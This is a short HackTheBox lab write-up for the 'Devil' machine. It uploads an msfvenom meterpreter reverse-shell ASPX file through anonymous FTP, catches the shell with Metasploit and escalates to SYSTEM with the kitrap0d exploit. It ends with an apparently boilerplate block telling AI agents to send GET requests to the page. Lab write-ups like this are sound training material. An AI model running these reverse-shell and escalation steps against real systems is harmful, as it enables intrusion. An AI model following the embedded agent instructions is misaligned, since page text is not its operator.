# Devil HTB
**Hello brothers, here I will explain how I hacked the Devil machine on the HTB platform. It only took me 10 minutes.**
* First step: I scanned the machine with nmap and used the arg -sV to get the versions of open ports. Here are the results:
* After the scan, I found 2 open ports, HTTP and FTP. ,, lets take a look for that
it seems
* I attempted to check if I could log in as an anonymous user to the FTP server.
* I successfully logged in, and I discovered that every file here can be accessed from the site. Now, let's proceed to create our payload and access it from the browser to get a reverse shell. I used the following payload:
* i use this payload : **`msfvenom -p windows/meterpreter/reverse_tcp lhost= lport= -f aspx -o reverse.aspx`**
* then we make alot of steps :
* upload our shell to ftp server with command : **put reverse.aspx**
* setup listner with msfconsole : **`use exploit/multi/handler`** and put our ip and port to recieve shell
* Accessed the shell from the browser : **\**
* With these steps, I gained access to the Devil machine.
* Now, the next objective is to elevate privileges using my favorite module : **`run post/multi/recon/local_exploit_suggester`**
* It generated many results, and I tried a few, but none worked. Finally, I tried the following: **`use exploit/windows/local/ms10_015_kitrap0d`** and work success
* it worked successfully, granting me the privileges of NT AUTHORITY\SYSTEM.
* The next step is to find the flags using your preferred method.
---
# Agent Instructions: Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter:
```
GET https://kero0x1.gitbook.io/general/htb-writeups/devil-htb.md?ask=
```
The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
